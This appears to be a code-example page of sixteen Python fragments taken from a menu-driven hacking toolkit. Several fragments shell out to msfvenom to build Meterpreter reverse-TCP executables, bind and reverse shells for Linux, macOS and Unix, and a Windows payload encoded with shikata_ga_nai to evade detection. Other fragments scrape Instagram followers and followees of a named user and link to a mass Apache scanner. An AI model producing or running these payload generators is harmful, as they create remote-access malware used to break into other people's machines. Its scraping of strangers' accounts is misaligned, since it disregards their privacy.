Beispiel #1
0
def stat(named):
    clear()
    banner_drgn()
    try:
        users = [f'{named}']
        followings = {}
        following_list = []
        for person in users:
            print(f'{PULS} Starting : {person}')
            try:
                followings[person] = get_followings(person)
                following_list = following_list + followings[person]
            except KeyError:
                print(f'{ERRORS} IndexError')

        Counter(following_list).most_common(10)

        follow_relations = {}
        for following_user in followings.keys():
            follow_relation_list = []
            for followed_user in followings.keys():
                if followed_user in followings[following_user]:
                    follow_relation_list.append(True)
                else:
                    follow_relation_list.append(False)
            follow_relations[following_user] = follow_relation_list

        following_df = pd.DataFrame.from_dict(follow_relations,
                                              orient='index',
                                              columns=followings.keys())
        following_df
    except KeyboardInterrupt:

        sys.exit(Aborted)
Beispiel #2
0
def back_android():
    clear()
    try:
        banner_drgn()
        list_Android()
        choice = input(promt_choice)
        if choice == '1':
            lmt()
        else:
            sys.exit(NFound)
    except KeyboardInterrupt:
        sys.exit(Aborted)
Beispiel #3
0
   def __init__(self, lhost, lport):
       self.lhost = lhost
       self.lport = lport
       try:
           clear()
           print('''
 [+] LOCAL HOST : {}
 [+] LOCAL PORT : {}
 [!] Loading ....'''.format(self.lhost, self.lport))
           os.system('msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST={} LPORT={} -f exe > payload.exe'.format(self.lhost, self.lport))
           sys.exit('\u001b[1m[\u001b[32;1mSUCCESSFULLY\u001b[0m\u001b[1m]\u001b[0m')
       except KeyboardInterrupt:
           sys.exit(Aborted)
Beispiel #4
0
   def __init__(self):
       try:
           clear()
           print('''
 [!] Loading ....''')
           os.system(
               'msfvenom -p windows/meterpreter/reverse_tcp -e shikata_ga_nai -i 3 -f exe > encoded_payload.exe'
           )
           sys.exit(
               '\u001b[1m[\u001b[32;1mSUCCESSFULLY\u001b[0m\u001b[1m]\u001b[0m'
           )
       except KeyboardInterrupt:
           sys.exit(Aborted)
Beispiel #5
0
def back_mac():
    clear()
    try:
        banner_drgn()
        list_Mac()
        choice = input(promt_choice)
        if choice == '1':
            mrv()
        elif choice == '2':
            mbd()
        else:
            sys.exit(NFound)
    except KeyboardInterrupt:
        sys.exit(Aborted)
Beispiel #6
0
def back_windows():
    clear()
    try:
        banner_drgn()
        list_windows()
        choice = input(promt_choice)
        if choice == '1':
            mtr()
        elif choice == '2':
            rvs()
        elif choice == '3':
            ecd()
        else:
            sys.exit(NFound)
    except KeyboardInterrupt:
        sys.exit(Aborted)
Beispiel #7
0
   def __init__(self, lport):
       self.lport = lport
       try:
           clear()
           print('''
 [+] LOCAL PORT : {}
 [+] REMOTE HOST: 127.0.0.1
 [!] Loading ....'''.format(self.lport))
           os.system(
               'msfvenom -p generic/shell_bind_tcp RHOST=127.0.0.1 LPORT={} -f elf > shell.elf'
               .format(self.lport))
           sys.exit(
               '\u001b[1m[\u001b[32;1mSUCCESSFULLY\u001b[0m\u001b[1m]\u001b[0m'
           )
       except KeyboardInterrupt:
           sys.exit(Aborted)
Beispiel #8
0
def back_script():
    clear()
    try:
        banner_drgn()
        list_Script()
        choice = input(promt_choice)
        if choice == '1':
            spr()
        elif choice == '2':
            sbu()
        elif choice == '3':
            spu()
        else:
            sys.exit(NFound)
    except KeyboardInterrupt:
        sys.exit(Aborted)
Beispiel #9
0
   def __init__(self, lhost):
       self.lhost = lhost
       try:
           clear()
           print('''
 [+] LOCAL HOST : {}
 [+] REMOTE HOST: 127.0.0.1
 [!] Loading ....'''.format(self.lhost))
           os.system(
               'msfvenom -p osx/x86/shell_bind_tcp RHOST=127.0.0.1 LHOST={} -f macho > shell.macho'
               .format(self.lhost))
           sys.exit(
               '\u001b[1m[\u001b[32;1mSUCCESSFULLY\u001b[0m\u001b[1m]\u001b[0m'
           )
       except KeyboardInterrupt:
           sys.exit(Aborted)
Beispiel #10
0
def back_linux():
    clear()
    try:
        banner_drgn()
        list_Linux()
        choice = input(promt_choice)
        if choice == '1':
            lmt()
        elif choice == '2':
            lbmt()
        elif choice == '3':
            lbs()
        else:
            sys.exit(NFound)
    except KeyboardInterrupt:
        sys.exit(Aborted)
Beispiel #11
0
   def __init__(self, lhost, lport):
       self.lhost = lhost
       self.lport = lport
       try:
           clear()
           print('''
 [+] LOCAL HOST : {}
 [+] LOCAL PORT : {}
 [!] Loading ....'''.format(self.lhost, self.lport))
           os.system(
               'msfvenom -p cmd/unix/reverse_perl LHOST={} LPORT={} -f raw > shell.pl'
               .format(self.lhost, self.lport))
           sys.exit(
               '\u001b[1m[\u001b[32;1mSUCCESSFULLY\u001b[0m\u001b[1m]\u001b[0m'
           )
       except KeyboardInterrupt:
           sys.exit(Aborted)
Beispiel #12
0
def back_web():
    clear()
    try:
        banner_drgn()
        list_Web()
        choice = input(promt_choice)
        if choice == '1':
            wpm()
        elif choice == '2':
            wam()
        elif choice == '3':
            wjm()
        elif choice == '4':
            ww()
        else:
            sys.exit(NFound)
    except KeyboardInterrupt:
        sys.exit(Aborted)
Beispiel #13
0
   def __init__(self, lhost, lport, language):
       self.lhost = lhost
       self.lport = lport
       self.language = language
       try:
           clear()
           print('''
 [+] LOCAL HOST : {}
 [+] LOCAL PORT : {}
 [+] LANGUAGE   : {}
 [!] Loading ....'''.format(self.lhost, self.lport, self.language))
           os.system(
               'msfvenom -p windows/meterpreter/reverse_tcp LHOST={} LPORT={} -f {}'
               .format(self.lhost, self.lport, self.language))
           sys.exit(
               '\u001b[1m[\u001b[32;1mSUCCESSFULLY\u001b[0m\u001b[1m]\u001b[0m'
           )
       except KeyboardInterrupt:
           sys.exit(Aborted)
Beispiel #14
0
def scrap_foll():
    clear()
    banner_drgn()
    res = input(f'{PULS} Instagram Name: ')
    print(f'''
\u001b[1m[\u001b[32;1m1\u001b[0m\u001b[1m]\u001b[0m Scraping Followers ... {SUCES_SYM}
\u001b[1m[\u001b[32;1m2\u001b[0m\u001b[1m]\u001b[0m Scraping Followees ... {SUCES_SYM}'''
          )
    try:
        profile = instaloader.Profile.from_username(bot.context, f'{res}')
        followers = [follower.username for follower in profile.get_followers()]
        followees = [followee.username for followee in profile.get_followees()]
        x = input(promt_choice)
        if x == '1':
            print(followers)
        elif x == '2':
            print(followees)
        else:
            raise ValueError(f'{ERRORS} INVALID VALUE.')
    except:
        sys.exit(f'{ERRORS} Login Needed.')
Beispiel #15
0
def mainscan():
    clear()
    banner_drgn()
    print(f'''
  \u001b[1m[\u001b[32;1m01\u001b[0m\u001b[1m]\u001b[0m Mass Apache ... {SUCES_SYM}
  \u001b[1m[\u001b[32;1m02\u001b[0m\u001b[1m]\u001b[0m XSS Scanner ... {ERROR_SYM}

  [CTRL+C] EXIT\n''')
    try:
        x = input(f'{promt_choice}')
        try:
            z = input(f'{PULS} List  : ')
            if x == 1 or len(x) == 1:
                mass_apache(z)
            elif z == '':
                sys.exit(f'{MINS} Unknown Path.')
            else:
                sys.exit(f'{NFound}')
        except ValueError:
            sys.exit(f'{MINS} Value Error.')
    except KeyboardInterrupt:
        sys.exit(f'{Aborted}')
Beispiel #16
0
def main_scraper():
    import time
    clear()
    banner_drgn()
    print(f'''
\u001b[1m[\u001b[32;1m1\u001b[0m\u001b[1m]\u001b[0m Account Info ..... {SUCES_SYM}
\u001b[1m[\u001b[32;1m2\u001b[0m\u001b[1m]\u001b[0m Instagram Login .. {SUCES_SYM}
\u001b[1m[\u001b[32;1m3\u001b[0m\u001b[1m]\u001b[0m Scrap Follow ..... {SUCES_SYM}
\u001b[1m[\u001b[32;1m4\u001b[0m\u001b[1m]\u001b[0m Download Post .... {SUCES_SYM}
\u001b[1m[\u001b[32;1m5\u001b[0m\u001b[1m]\u001b[0m Ghost Followers .. {SUCES_SYM}
''')
    try:
        x = input(promt_choice)
        if x == '1':
            clear()
            banner_drgn()
            try:
                res = input(f'{PULS} Instagram Name: ')
                try:
                    if res == '' or len(res) == '2':
                        print(f'{ERRORS} try again.')
                        time.sleep(2)
                        main_scraper()
                    ig_info(res)
                except:
                    sys.exit(f'{ERROR_SYM} Username not found!')
            except KeyboardInterrupt:
                sys.exit(f'{Aborted}')
        elif x == '2':
            ig_login()
        elif x == '3':
            scrap_foll()
        elif x == '4':
            clear()
            banner_drgn()
            try:
                res = input(f'{PULS} Instagram Name: ')

                if res == '' or len(res) == '2':
                    print(f'{ERRORS} try again.')
                    time.sleep(2)
                    main_scraper()
                ig_downloader(res)
            except KeyboardInterrupt:
                sys.exit(f'{Aborted}')
        elif x == '5':
            clear()
            banner_drgn()
            try:
                res = input(f'{PULS} Instagram Name: ')
                try:
                    if res == '' or len(res) == '2':
                        print(f'{ERRORS} try again.')
                        time.sleep(2)
                        main_scraper()
                    ghost_follow(res)
                except Exception as e:
                    sys.exit(f'{ERROR_SYM} {e}')
            except KeyboardInterrupt:
                sys.exit(f'{Aborted}')
    except KeyboardInterrupt:
        sys.exit(f'{Aborted}')
    except ValueError:
        sys.exit(f'{NFound}')